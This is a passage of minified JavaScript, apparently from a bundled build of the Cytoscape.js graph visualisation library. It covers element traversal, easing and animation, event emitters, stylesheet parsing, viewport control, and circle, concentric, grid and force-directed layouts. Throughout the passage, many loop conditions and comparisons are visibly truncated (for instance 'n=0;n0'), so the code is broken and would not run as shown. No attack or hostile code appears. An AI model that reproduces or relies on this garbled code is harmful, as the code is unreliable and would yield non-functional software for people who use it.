this.spawn(e,!0).filter(t)},"neighborhood"),closedNeighborhood:o(function(e){return this.neighborhood().add(this).filter(e)},"closedNeighborhood"),openNeighborhood:o(function(e){return this.neighborhood(e)},"openNeighborhood")});Ba.neighbourhood=Ba.neighborhood;Ba.closedNeighbourhood=Ba.closedNeighborhood;Ba.openNeighbourhood=Ba.openNeighborhood;ir(Ba,{source:jo(o(function(e){var r=this[0],n;return r&&(n=r._private.source||r.cy().collection()),n&&e?n.filter(e):n},"sourceImpl"),"source"),target:jo(o(function(e){var r=this[0],n;return r&&(n=r._private.target||r.cy().collection()),n&&e?n.filter(e):n},"targetImpl"),"target"),sources:Cce({attr:"source"}),targets:Cce({attr:"target"})});o(Cce,"defineSourceFunction");ir(Ba,{edgesWith:jo(Ace(),"edgesWith"),edgesTo:jo(Ace({thisIsSrc:!0}),"edgesTo")});o(Ace,"defineEdgesWithFunction");ir(Ba,{connectedEdges:jo(function(t){for(var e=[],r=this,n=0;n0);return s},"components"),component:o(function(){var e=this[0];return e.cy().mutableElements().components(e)[0]},"component")});Ba.componentsOf=Ba.components;va=o(function(e,r){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(e===void 0){Kn("A collection must have a reference to the core");return}var a=new zu,s=!1;if(!r)r=[];else if(r.length>0&&Yr(r[0])&&!mx(r[0])){s=!0;for(var l=[],u=new hg,h=0,f=r.length;h0&&arguments[0]!==void 0?arguments[0]:!0,e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,r=this,n=r.cy(),i=n._private,a=[],s=[],l,u=0,h=r.length;u0){for(var F=l.length===r.length?r:new va(n,l),G=0;G0&&arguments[0]!==void 0?arguments[0]:!0,e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,r=this,n=[],i={},a=r._private.cy;function s(_){for(var O=_._private.edges,M=0;M0&&(t?L.emitAndNotify("remove"):e&&L.emit("remove"));for(var E=0;Ef&&Math.abs(g.v)>f;);return p?function(y){return u[y*(u.length-1)|0]}:h},"springRK4Factory")})(),In=o(function(e,r,n,i){var a=RUe(e,r,n,i);return function(s,l,u){return s+(l-s)*a(u)}},"cubicBezier"),Vk={linear:o(function(e,r,n){return e+(r-e)*n},"linear"),ease:In(.25,.1,.25,1),"ease-in":In(.42,0,1,1),"ease-out":In(0,0,.58,1),"ease-in-out":In(.42,0,.58,1),"ease-in-sine":In(.47,0,.745,.715),"ease-out-sine":In(.39,.575,.565,1),"ease-in-out-sine":In(.445,.05,.55,.95),"ease-in-quad":In(.55,.085,.68,.53),"ease-out-quad":In(.25,.46,.45,.94),"ease-in-out-quad":In(.455,.03,.515,.955),"ease-in-cubic":In(.55,.055,.675,.19),"ease-out-cubic":In(.215,.61,.355,1),"ease-in-out-cubic":In(.645,.045,.355,1),"ease-in-quart":In(.895,.03,.685,.22),"ease-out-quart":In(.165,.84,.44,1),"ease-in-out-quart":In(.77,0,.175,1),"ease-in-quint":In(.755,.05,.855,.06),"ease-out-quint":In(.23,1,.32,1),"ease-in-out-quint":In(.86,0,.07,1),"ease-in-expo":In(.95,.05,.795,.035),"ease-out-expo":In(.19,1,.22,1),"ease-in-out-expo":In(1,0,0,1),"ease-in-circ":In(.6,.04,.98,.335),"ease-out-circ":In(.075,.82,.165,1),"ease-in-out-circ":In(.785,.135,.15,.86),spring:o(function(e,r,n){if(n===0)return Vk.linear;var i=NUe(e,r,n);return function(a,s,l){return a+(s-a)*i(l)}},"spring"),"cubic-bezier":In};o(Dce,"getEasedValue");o(Lce,"getValue");o(jm,"ease");o(MUe,"step$1");o(X2,"valid");o(IUe,"startAnimation");o(Rce,"stepAll");OUe={animate:un.animate(),animation:un.animation(),animated:un.animated(),clearQueue:un.clearQueue(),delay:un.delay(),delayAnimation:un.delayAnimation(),stop:un.stop(),addToAnimationPool:o(function(e){var r=this;r.styleEnabled()&&r._private.aniEles.merge(e)},"addToAnimationPool"),stopAnimationLoop:o(function(){this._private.animationsRunning=!1},"stopAnimationLoop"),startAnimationLoop:o(function(){var e=this;if(e._private.animationsRunning=!0,!e.styleEnabled())return;function r(){e._private.animationsRunning&&Kk(o(function(a){Rce(a,e),r()},"animationStep"))}o(r,"headlessStep");var n=e.renderer();n&&n.beforeRender?n.beforeRender(o(function(a,s){Rce(s,e)},"rendererAnimationStep"),n.beforeRenderPriorities.animations):r()},"startAnimationLoop")},PUe={qualifierCompare:o(function(e,r){return e==null||r==null?e==null&&r==null:e.sameText(r)},"qualifierCompare"),eventMatches:o(function(e,r,n){var i=r.qualifier;return i!=null?e!==n.target&&mx(n.target)&&i.matches(n.target):!0},"eventMatches"),addEventFields:o(function(e,r){r.cy=e,r.target=e},"addEventFields"),callbackContext:o(function(e,r,n){return r.qualifier!=null?n.target:e},"callbackContext")},Mk=o(function(e){return Jt(e)?new Ef(e):e},"argSelector"),uhe={createEmitter:o(function(){var e=this._private;return e.emitter||(e.emitter=new vE(PUe,this)),this},"createEmitter"),emitter:o(function(){return this._private.emitter},"emitter"),on:o(function(e,r,n){return this.emitter().on(e,Mk(r),n),this},"on"),removeListener:o(function(e,r,n){return this.emitter().removeListener(e,Mk(r),n),this},"removeListener"),removeAllListeners:o(function(){return this.emitter().removeAllListeners(),this},"removeAllListeners"),one:o(function(e,r,n){return this.emitter().one(e,Mk(r),n),this},"one"),once:o(function(e,r,n){return this.emitter().one(e,Mk(r),n),this},"once"),emit:o(function(e,r){return this.emitter().emit(e,r),this},"emit"),emitAndNotify:o(function(e,r){return this.emit(e),this.notify(e,r),this},"emitAndNotify")};un.eventAliasesOn(uhe);ZM={png:o(function(e){var r=this._private.renderer;return e=e||{},r.png(e)},"png"),jpg:o(function(e){var r=this._private.renderer;return e=e||{},e.bg=e.bg||"#fff",r.jpg(e)},"jpg")};ZM.jpeg=ZM.jpg;Uk={layout:o(function(e){var r=this;if(e==null){Kn("Layout options must be specified to make a layout");return}if(e.name==null){Kn("A `name` must be specified to make a layout");return}var n=e.name,i=r.extension("layout",n);if(i==null){Kn("No such layout `"+n+"` found. Did you forget to import it and `cytoscape.use()` it?");return}var a;Jt(e.eles)?a=r.$(e.eles):a=e.eles!=null?e.eles:r.$();var s=new i(ir({},e,{cy:r,eles:a}));return s},"layout")};Uk.createLayout=Uk.makeLayout=Uk.layout;BUe={notify:o(function(e,r){var n=this._private;if(this.batching()){n.batchNotifications=n.batchNotifications||{};var i=n.batchNotifications[e]=n.batchNotifications[e]||this.collection();r!=null&&i.merge(r);return}if(n.notificationsEnabled){var a=this.renderer();this.destroyed()||!a||a.notify(e,r)}},"notify"),notifications:o(function(e){var r=this._private;return e===void 0?r.notificationsEnabled:(r.notificationsEnabled=!!e,this)},"notifications"),noNotifications:o(function(e){this.notifications(!1),e(),this.notifications(!0)},"noNotifications"),batching:o(function(){return this._private.batchCount>0},"batching"),startBatch:o(function(){var e=this._private;return e.batchCount==null&&(e.batchCount=0),e.batchCount===0&&(e.batchStyleEles=this.collection(),e.batchNotifications={}),e.batchCount++,this},"startBatch"),endBatch:o(function(){var e=this._private;if(e.batchCount===0)return this;if(e.batchCount--,e.batchCount===0){e.batchStyleEles.updateStyle();var r=this.renderer();Object.keys(e.batchNotifications).forEach(function(n){var i=e.batchNotifications[n];i.empty()?r.notify(n):r.notify(n,i)})}return this},"endBatch"),batch:o(function(e){return this.startBatch(),e(),this.endBatch(),this},"batch"),batchData:o(function(e){var r=this;return this.batch(function(){for(var n=Object.keys(e),i=0;i0;)r.removeChild(r.childNodes[0]);e._private.renderer=null,e.mutableElements().forEach(function(n){var i=n._private;i.rscratch={},i.rstyle={},i.animation.current=[],i.animation.queue=[]})},"destroyRenderer"),onRender:o(function(e){return this.on("render",e)},"onRender"),offRender:o(function(e){return this.off("render",e)},"offRender")};JM.invalidateDimensions=JM.resize;Hk={collection:o(function(e,r){return Jt(e)?this.$(e):fo(e)?e.collection():An(e)?(r||(r={}),new va(this,e,r.unique,r.removed)):new va(this)},"collection"),nodes:o(function(e){var r=this.$(function(n){return n.isNode()});return e?r.filter(e):r},"nodes"),edges:o(function(e){var r=this.$(function(n){return n.isEdge()});return e?r.filter(e):r},"edges"),$:o(function(e){var r=this._private.elements;return e?r.filter(e):r.spawnSelf()},"$"),mutableElements:o(function(){return this._private.elements},"mutableElements")};Hk.elements=Hk.filter=Hk.$;na={},tx="t",$Ue="f";na.apply=function(t){for(var e=this,r=e._private,n=r.cy,i=n.collection(),a=0;a0;if(p||d&&m){var g=void 0;p&&m||p?g=h.properties:m&&(g=h.mappedProperties);for(var y=0;y1&&(S=1),l.color){var k=n.valueMin[0],A=n.valueMax[0],C=n.valueMin[1],R=n.valueMax[1],I=n.valueMin[2],L=n.valueMax[2],E=n.valueMin[3]==null?1:n.valueMin[3],D=n.valueMax[3]==null?1:n.valueMax[3],_=[Math.round(k+(A-k)*S),Math.round(C+(R-C)*S),Math.round(I+(L-I)*S),Math.round(E+(D-E)*S)];a={bypass:n.bypass,name:n.name,value:_,strValue:"rgb("+_[0]+", "+_[1]+", "+_[2]+")"}}else if(l.number){var O=n.valueMin+(n.valueMax-n.valueMin)*S;a=this.parse(n.name,O,n.bypass,p)}else return!1;if(!a)return y(),!1;a.mapping=n,n=a;break}case s.data:{for(var M=n.field.split("."),P=d.data,B=0;B0&&a>0){for(var l={},u=!1,h=0;h0?t.delayAnimation(s).play().promise().then(T):T()}).then(function(){return t.animation({style:l,duration:a,easing:t.pstyle("transition-timing-function").value,queue:!1}).play().promise()}).then(function(){r.removeBypasses(t,i),t.emitAndNotify("style"),n.transitioning=!1})}else n.transitioning&&(this.removeBypasses(t,i),t.emitAndNotify("style"),n.transitioning=!1)};na.checkTrigger=function(t,e,r,n,i,a){var s=this.properties[e],l=i(s);t.removed()||l!=null&&l(r,n,t)&&a(s)};na.checkZOrderTrigger=function(t,e,r,n){var i=this;this.checkTrigger(t,e,r,n,function(a){return a.triggersZOrder},function(){i._private.cy.notify("zorder",t)})};na.checkBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBounds},function(i){t.dirtyCompoundBoundsCache(),t.dirtyBoundingBoxCache()})};na.checkConnectedEdgesBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBoundsOfConnectedEdges},function(i){t.connectedEdges().forEach(function(a){a.dirtyBoundingBoxCache()})})};na.checkParallelEdgesBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBoundsOfParallelEdges},function(i){t.parallelEdges().forEach(function(a){a.dirtyBoundingBoxCache()})})};na.checkTriggers=function(t,e,r,n){t.dirtyStyleCache(),this.checkZOrderTrigger(t,e,r,n),this.checkBoundsTrigger(t,e,r,n),this.checkConnectedEdgesBoundsTrigger(t,e,r,n),this.checkParallelEdgesBoundsTrigger(t,e,r,n)};wx={};wx.applyBypass=function(t,e,r,n){var i=this,a=[],s=!0;if(e==="*"||e==="**"){if(r!==void 0)for(var l=0;li.length?n=n.substr(i.length):n=""}o(l,"removeSelAndBlockFromRemaining");function u(){a.length>s.length?a=a.substr(s.length):a=""}for(o(u,"removePropAndValFromRem");;){var h=n.match(/^\s*$/);if(h)break;var f=n.match(/^\s*((?:.|\s)+?)\s*\{((?:.|\s)+?)\}/);if(!f){hn("Halting stylesheet parsing: String stylesheet contains more to parse but no selector and block found in: "+n);break}i=f[0];var d=f[1];if(d!=="core"){var p=new Ef(d);if(p.invalid){hn("Skipping parsing of block: Invalid selector found in string stylesheet: "+d),l();continue}}var m=f[2],g=!1;a=m;for(var y=[];;){var v=a.match(/^\s*$/);if(v)break;var x=a.match(/^\s*(.+?)\s*:\s*(.+?)(?:\s*;|\s*$)/);if(!x){hn("Skipping parsing of block: Invalid formatting of style property and value definitions found in:"+m),g=!0;break}s=x[0];var b=x[1],T=x[2],S=e.properties[b];if(!S){hn("Skipping property: Invalid property name in: "+s),u();continue}var w=r.parse(b,T);if(!w){hn("Skipping property: Invalid property definition in: "+s),u();continue}y.push({name:b,val:T}),u()}if(g){l();break}r.selector(d);for(var k=0;k=7&&e[0]==="d"&&(f=new RegExp(l.data.regex).exec(e))){if(r)return!1;var p=l.data;return{name:t,value:f,strValue:""+e,mapped:p,field:f[1],bypass:r}}else if(e.length>=10&&e[0]==="m"&&(d=new RegExp(l.mapData.regex).exec(e))){if(r||h.multiple)return!1;var m=l.mapData;if(!(h.color||h.number))return!1;var g=this.parse(t,d[4]);if(!g||g.mapped)return!1;var y=this.parse(t,d[5]);if(!y||y.mapped)return!1;if(g.pfValue===y.pfValue||g.strValue===y.strValue)return hn("`"+t+": "+e+"` is not a valid mapper because the output range is zero; converting to `"+t+": "+g.strValue+"`"),this.parse(t,g.strValue);if(h.color){var v=g.value,x=y.value,b=v[0]===x[0]&&v[1]===x[1]&&v[2]===x[2]&&(v[3]===x[3]||(v[3]==null||v[3]===1)&&(x[3]==null||x[3]===1));if(b)return!1}return{name:t,value:d,strValue:""+e,mapped:m,field:d[1],fieldMin:parseFloat(d[2]),fieldMax:parseFloat(d[3]),valueMin:g.value,valueMax:y.value,bypass:r}}}if(h.multiple&&n!=="multiple"){var T;if(u?T=e.split(/\s+/):An(e)?T=e:T=[e],h.evenMultiple&&T.length%2!==0)return null;for(var S=[],w=[],k=[],A="",C=!1,R=0;R0?" ":"")+I.strValue}return h.validate&&!h.validate(S,w)?null:h.singleEnum&&C?S.length===1&&Jt(S[0])?{name:t,value:S[0],strValue:S[0],bypass:r}:null:{name:t,value:S,pfValue:k,strValue:A,bypass:r,units:w}}var L=o(function(){for(var re=0;reh.max||h.strictMax&&e===h.max))return null;var M={name:t,value:e,strValue:""+e+(E||""),units:E,bypass:r};return h.unitless||E!=="px"&&E!=="em"?M.pfValue=e:M.pfValue=E==="px"||!E?e:this.getEmSizeInPixels()*e,(E==="ms"||E==="s")&&(M.pfValue=E==="ms"?e:1e3*e),(E==="deg"||E==="rad")&&(M.pfValue=E==="rad"?e:Pze(e)),E==="%"&&(M.pfValue=e/100),M}else if(h.propList){var P=[],B=""+e;if(B!=="none"){for(var F=B.split(/\s*,\s*|\s+/),G=0;G0&&l>0&&!isNaN(n.w)&&!isNaN(n.h)&&n.w>0&&n.h>0){u=Math.min((s-2*r)/n.w,(l-2*r)/n.h),u=u>this._private.maxZoom?this._private.maxZoom:u,u=u=n.minZoom&&(n.maxZoom=r),this},"zoomRange"),minZoom:o(function(e){return e===void 0?this._private.minZoom:this.zoomRange({min:e})},"minZoom"),maxZoom:o(function(e){return e===void 0?this._private.maxZoom:this.zoomRange({max:e})},"maxZoom"),getZoomedViewport:o(function(e){var r=this._private,n=r.pan,i=r.zoom,a,s,l=!1;if(r.zoomingEnabled||(l=!0),At(e)?s=e:Yr(e)&&(s=e.level,e.position!=null?a=hE(e.position,i,n):e.renderedPosition!=null&&(a=e.renderedPosition),a!=null&&!r.panningEnabled&&(l=!0)),s=s>r.maxZoom?r.maxZoom:s,s=sr.maxZoom||!r.zoomingEnabled?s=!0:(r.zoom=u,a.push("zoom"))}if(i&&(!s||!e.cancelOnFailedZoom)&&r.panningEnabled){var h=e.pan;At(h.x)&&(r.pan.x=h.x,l=!1),At(h.y)&&(r.pan.y=h.y,l=!1),l||a.push("pan")}return a.length>0&&(a.push("viewport"),this.emit(a.join(" ")),this.notify("viewport")),this},"viewport"),center:o(function(e){var r=this.getCenterPan(e);return r&&(this._private.pan=r,this.emit("pan viewport"),this.notify("viewport")),this},"center"),getCenterPan:o(function(e,r){if(this._private.panningEnabled){if(Jt(e)){var n=e;e=this.mutableElements().filter(n)}else fo(e)||(e=this.mutableElements());if(e.length!==0){var i=e.boundingBox(),a=this.width(),s=this.height();r=r===void 0?this._private.zoom:r;var l={x:(a-r*(i.x1+i.x2))/2,y:(s-r*(i.y1+i.y2))/2};return l}}},"getCenterPan"),reset:o(function(){return!this._private.panningEnabled||!this._private.zoomingEnabled?this:(this.viewport({pan:{x:0,y:0},zoom:1}),this)},"reset"),invalidateSize:o(function(){this._private.sizeCache=null},"invalidateSize"),size:o(function(){var e=this._private,r=e.container,n=this;return e.sizeCache=e.sizeCache||(r?(function(){var i=n.window().getComputedStyle(r),a=o(function(l){return parseFloat(i.getPropertyValue(l))},"val");return{width:r.clientWidth-a("padding-left")-a("padding-right"),height:r.clientHeight-a("padding-top")-a("padding-bottom")}})():{width:1,height:1})},"size"),width:o(function(){return this.size().width},"width"),height:o(function(){return this.size().height},"height"),extent:o(function(){var e=this._private.pan,r=this._private.zoom,n=this.renderedExtent(),i={x1:(n.x1-e.x)/r,x2:(n.x2-e.x)/r,y1:(n.y1-e.y)/r,y2:(n.y2-e.y)/r};return i.w=i.x2-i.x1,i.h=i.y2-i.y1,i},"extent"),renderedExtent:o(function(){var e=this.width(),r=this.height();return{x1:0,y1:0,x2:e,y2:r,w:e,h:r}},"renderedExtent"),multiClickDebounceTime:o(function(e){if(e)this._private.multiClickDebounceTime=e;else return this._private.multiClickDebounceTime;return this},"multiClickDebounceTime")};kp.centre=kp.center;kp.autolockNodes=kp.autolock;kp.autoungrabifyNodes=kp.autoungrabify;hx={data:un.data({field:"data",bindingEvent:"data",allowBinding:!0,allowSetting:!0,settingEvent:"data",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeData:un.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0}),scratch:un.data({field:"scratch",bindingEvent:"scratch",allowBinding:!0,allowSetting:!0,settingEvent:"scratch",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeScratch:un.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0})};hx.attr=hx.data;hx.removeAttr=hx.removeData;fx=o(function(e){var r=this;e=ir({},e);var n=e.container;n&&!jk(n)&&jk(n[0])&&(n=n[0]);var i=n?n._cyreg:null;i=i||{},i&&i.cy&&(i.cy.destroy(),i={});var a=i.readies=i.readies||[];n&&(n._cyreg=i),i.cy=r;var s=Bi!==void 0&&n!==void 0&&!e.headless,l=e;l.layout=ir({name:s?"grid":"null"},l.layout),l.renderer=ir({name:s?"canvas":"null"},l.renderer);var u=o(function(g,y,v){return y!==void 0?y:v!==void 0?v:g},"defVal"),h=this._private={container:n,ready:!1,options:l,elements:new va(this),listeners:[],aniEles:new va(this),data:l.data||{},scratch:{},layout:null,renderer:null,destroyed:!1,notificationsEnabled:!0,minZoom:1e-50,maxZoom:1e50,zoomingEnabled:u(!0,l.zoomingEnabled),userZoomingEnabled:u(!0,l.userZoomingEnabled),panningEnabled:u(!0,l.panningEnabled),userPanningEnabled:u(!0,l.userPanningEnabled),boxSelectionEnabled:u(!0,l.boxSelectionEnabled),autolock:u(!1,l.autolock,l.autolockNodes),autoungrabify:u(!1,l.autoungrabify,l.autoungrabifyNodes),autounselectify:u(!1,l.autounselectify),styleEnabled:l.styleEnabled===void 0?s:l.styleEnabled,zoom:At(l.zoom)?l.zoom:1,pan:{x:Yr(l.pan)&&At(l.pan.x)?l.pan.x:0,y:Yr(l.pan)&&At(l.pan.y)?l.pan.y:0},animation:{current:[],queue:[]},hasCompoundNodes:!1,multiClickDebounceTime:u(250,l.multiClickDebounceTime)};this.createEmitter(),this.selectionType(l.selectionType),this.zoomRange({min:l.minZoom,max:l.maxZoom});var f=o(function(g,y){var v=g.some(L$e);if(v)return fg.all(g).then(y);y(g)},"loadExtData");h.styleEnabled&&r.setStyle([]);var d=ir({},l,l.renderer);r.initRenderer(d);var p=o(function(g,y,v){r.notifications(!1);var x=r.mutableElements();x.length>0&&x.remove(),g!=null&&(Yr(g)||An(g))&&r.add(g),r.one("layoutready",function(T){r.notifications(!0),r.emit(T),r.one("load",y),r.emitAndNotify("load")}).one("layoutstop",function(){r.one("done",v),r.emit("done")});var b=ir({},r._private.options.layout);b.eles=r.elements(),r.layout(b).run()},"setElesAndLayout");f([l.style,l.elements],function(m){var g=m[0],y=m[1];h.styleEnabled&&r.style().append(g),p(y,function(){r.startAnimationLoop(),h.ready=!0,oi(l.ready)&&r.on("ready",l.ready);for(var v=0;v0,l=!!t.boundingBox,u=cs(l?t.boundingBox:structuredClone(e.extent())),h;if(fo(t.roots))h=t.roots;else if(An(t.roots)){for(var f=[],d=0;d0;){var _=D(),O=R(_,L);if(O)_.outgoers().filter(function(Ve){return Ve.isNode()&&r.has(Ve)}).forEach(E);else if(O===null){hn("Detected double maximal shift for node `"+_.id()+"`. Bailing maximal adjustment due to cycle. Use `options.maximal: true` only on DAGs.");break}}}var M=0;if(t.avoidOverlap)for(var P=0;P0&&x[0].length<=3?Le/2:0),Ne=2*Math.PI/x[Ye].length*He;return Ye===0&&x[0].length===1&&(Ie=1),{x:K.x+Ie*Math.cos(Ne),y:K.y+Ie*Math.sin(Ne)}}else{var Ce=x[Ye].length,Fe=Math.max(Ce===1?0:l?(u.w-t.padding*2-ae.w)/((t.grid?de:Ce)-1):(u.w-t.padding*2-ae.w)/((t.grid?de:Ce)+1),M),fe={x:K.x+(He+1-(Ce+1)/2)*Fe,y:K.y+(Ye+1-(Y+1)/2)*Q};return fe}},"getPositionTopBottom"),Te={downward:0,leftward:90,upward:180,rightward:-90};Object.keys(Te).indexOf(t.direction)===-1&&Kn("Invalid direction '".concat(t.direction,"' specified for breadthfirst layout. Valid values are: ").concat(Object.keys(Te).join(", ")));var q=o(function(pe){return aze(ne(pe),u,Te[t.direction])},"getPosition");return r.nodes().layoutPositions(this,t,q),this};HUe={fit:!0,padding:30,boundingBox:void 0,avoidOverlap:!0,nodeDimensionsIncludeLabels:!1,spacingFactor:void 0,radius:void 0,startAngle:3/2*Math.PI,sweep:void 0,clockwise:!0,sort:void 0,animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(fhe,"CircleLayout");fhe.prototype.run=function(){var t=this.options,e=t,r=t.cy,n=e.eles,i=e.counterclockwise!==void 0?!e.counterclockwise:e.clockwise,a=n.nodes().not(":parent");e.sort&&(a=a.sort(e.sort));for(var s=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()}),l={x:s.x1+s.w/2,y:s.y1+s.h/2},u=e.sweep===void 0?2*Math.PI-2*Math.PI/a.length:e.sweep,h=u/Math.max(1,a.length-1),f,d=0,p=0;p1&&e.avoidOverlap){d*=1.75;var x=Math.cos(h)-Math.cos(0),b=Math.sin(h)-Math.sin(0),T=Math.sqrt(d*d/(x*x+b*b));f=Math.max(T,f)}var S=o(function(k,A){var C=e.startAngle+A*h*(i?1:-1),R=f*Math.cos(C),I=f*Math.sin(C),L={x:l.x+R,y:l.y+I};return L},"getPos");return n.nodes().layoutPositions(this,e,S),this};qUe={fit:!0,padding:30,startAngle:3/2*Math.PI,sweep:void 0,clockwise:!0,equidistant:!1,minNodeSpacing:10,boundingBox:void 0,avoidOverlap:!0,nodeDimensionsIncludeLabels:!1,height:void 0,width:void 0,spacingFactor:void 0,concentric:o(function(e){return e.degree()},"concentric"),levelWidth:o(function(e){return e.maxDegree()/4},"levelWidth"),animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(dhe,"ConcentricLayout");dhe.prototype.run=function(){for(var t=this.options,e=t,r=e.counterclockwise!==void 0?!e.counterclockwise:e.clockwise,n=t.cy,i=e.eles,a=i.nodes().not(":parent"),s=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:n.width(),h:n.height()}),l={x:s.x1+s.w/2,y:s.y1+s.h/2},u=[],h=0,f=0;f0){var w=Math.abs(b[0].value-S.value);w>=v&&(b=[],x.push(b))}b.push(S)}var k=h+e.minNodeSpacing;if(!e.avoidOverlap){var A=x.length>0&&x[0].length>1,C=Math.min(s.w,s.h)/2-k,R=C/(x.length+A?1:0);k=Math.min(k,R)}for(var I=0,L=0;L1&&e.avoidOverlap){var O=Math.cos(_)-Math.cos(0),M=Math.sin(_)-Math.sin(0),P=Math.sqrt(k*k/(O*O+M*M));I=Math.max(P,I)}E.r=I,I+=k}if(e.equidistant){for(var B=0,F=0,G=0;G=t.numIter||(ZUe(n,t),n.temperature=n.temperature*t.coolingFactor,n.temperature=t.animationThreshold&&a(),Kk(f)}},"frame");f()}else{for(;h;)h=s(u),u++;Ice(n,t),l()}return this};kE.prototype.stop=function(){return this.stopped=!0,this.thread&&this.thread.stop(),this.emit("layoutstop"),this};kE.prototype.destroy=function(){return this.thread&&this.thread.stop(),this};YUe=o(function(e,r,n){for(var i=n.eles.edges(),a=n.eles.nodes(),s=cs(n.boundingBox?n.boundingBox:{x1:0,y1:0,w:e.width(),h:e.height()}),l={isCompound:e.hasCompoundNodes(),layoutNodes:[],idToIndex:{},nodeSize:a.size(),graphSet:[],indexToGraph:[],layoutEdges:[],edgeSize:i.size(),temperature:n.initialTemp,clientWidth:s.w,clientHeight:s.h,boundingBox:s},u=n.eles.components(),h={},f=0;f0){l.graphSet.push(C);for(var f=0;fi.count?0:i.graph},"findLCA"),phe=o(function(e,r,n,i){var a=i.graphSet[n];if(-10)var d=i.nodeOverlap*f,p=Math.sqrt(l*l+u*u),m=d*l/p,g=d*u/p;else var y=nE(e,l,u),v=nE(r,-1*l,-1*u),x=v.x-y.x,b=v.y-y.y,T=x*x+b*b,p=Math.sqrt(T),d=(e.nodeRepulsion+r.nodeRepulsion)/T,m=d*x/p,g=d*b/p;e.isLocked||(e.offsetX-=m,e.offsetY-=g),r.isLocked||(r.offsetX+=m,r.offsetY+=g)}},"nodeRepulsion"),tHe=o(function(e,r,n,i){if(n>0)var a=e.maxX-r.minX;else var a=r.maxX-e.minX;if(i>0)var s=e.maxY-r.minY;else var s=r.maxY-e.minY;return a>=0&&s>=0?Math.sqrt(a*a+s*s):0},"nodesOverlap"),nE=o(function(e,r,n){var i=e.positionX,a=e.positionY,s=e.height||1,l=e.width||1,u=n/r,h=s/l,f={};return r===0&&0n?(f.x=i,f.y=a+s/2,f):0r&&-1*h<=u&&u<=h?(f.x=i-l/2,f.y=a-l*n/2/r,f):0=h)?(f.x=i+s*r/2/n,f.y=a+s/2,f):(0>n&&(u<=-1*h||u>=h)&&(f.x=i-s*r/2/n,f.y=a-s/2),f)},"findClippingPoint"),rHe=o(function(e,r){for(var n=0;nn){var v=r.gravity*m/y,x=r.gravity*g/y;p.offsetX+=v,p.offsetY+=x}}}}},"calculateGravityForces"),iHe=o(function(e,r){var n=[],i=0,a=-1;for(n.push.apply(n,e.graphSet[0]),a+=e.graphSet[0].length;i<=a;){var s=n[i++],l=e.idToIndex[s],u=e.layoutNodes[l],h=u.children;if(0n)var a={x:n*e/i,y:n*r/i};else var a={x:e,y:r};return a},"limitForce"),ghe=o(function(e,r){var n=e.parentId;if(n!=null){var i=r.layoutNodes[r.idToIndex[n]],a=!1;if((i.maxX==null||e.maxX+i.padRight>i.maxX)&&(i.maxX=e.maxX+i.padRight,a=!0),(i.minX==null||e.minX-i.padLefti.maxY)&&(i.maxY=e.maxY+i.padBottom,a=!0),(i.minY==null||e.minY-i.padTopx&&(g+=v+r.componentSpacing,m=0,y=0,v=0)}}},"separateComponents"),oHe={fit:!0,padding:30,boundingBox:void 0,avoidOverlap:!0,avoidOverlapPadding:10,nodeDimensionsIncludeLabels:!1,spacingFactor:void 0,condense:!1,rows:void 0,cols:void 0,position:o(function(e){},"position"),sort:void 0,animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(yhe,"GridLayout");yhe.prototype.run=function(){var t=this.options,e=t,r=t.cy,n=e.eles,i=n.nodes().not(":parent");e.sort&&(i=i.sort(e.sort));var a=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()});if(a.h===0||a.w===0)n.nodes().layoutPositions(this,e,function(j){return{x:a.x1,y:a.y1}});else{var s=i.size(),l=Math.sqrt(s*a.h/a.w),u=Math.round(l),h=Math.round(a.w/a.h*l),f=o(function(te){if(te==null)return Math.min(u,h);var Y=Math.min(u,h);Y==u?u=te:h=te},"small"),d=o(function(te){if(te==null)return Math.max(u,h);var Y=Math.max(u,h);Y==u?u=te:h=te},"large"),p=e.rows,m=e.cols!=null?e.cols:e.columns;if(p!=null&&m!=null)u=p,h=m;else if(p!=null&&m==null)u=p,h=Math.ceil(s/u);else if(p==null&&m!=null)h=m,u=Math.ceil(s/h);else if(h*u>s){var g=f(),y=d();(g-1)*y>=s?f(g-1):(y-1)*g>=s&&d(y-1)}else for(;h*u=s?d(x+1):f(v+1)}var b=a.w/h,T=a.h/u;if(e.condense&&(b=0,T=0),e.avoidOverlap)for(var S=0;S=h&&(O=0,_++)},"moveToNextCell"),P={},B=0;B(O=Kze(t,e,M[P],M[P+1],M[P+2],M[P+3])))return v(A,O),!0}else if(R.edgeType==="bezier"||R.edgeType==="multibezier"||R.edgeType==="self"||R.edgeType==="compound"){for(var M=R.allpts,P=0;P+5(O=jze(t,e,M[P],M[P+1],M[P+2],M[P+3],M[P+4],M[P+5])))return v(A,O),!0}for(var B=B||C.source,F=F||C.target,G=i.getArrowWidth(I,L),$=[{name:"source",x:R.arrowStartX,y:R.arrowStartY,angle:R.srcArrowAngle},{name:"target",x:R.arrowEndX,y:R.arrowEndY,angle:R.tgtArrowAngle},{name:"mid-source",x:R.midX,y:R.midY,angle:R.midsrcArrowAngle},{name:"mid-target",x:R.midX,y:R.midY,angle:R.midtgtArrowAngle}],P=0;P<$.length;P++){var 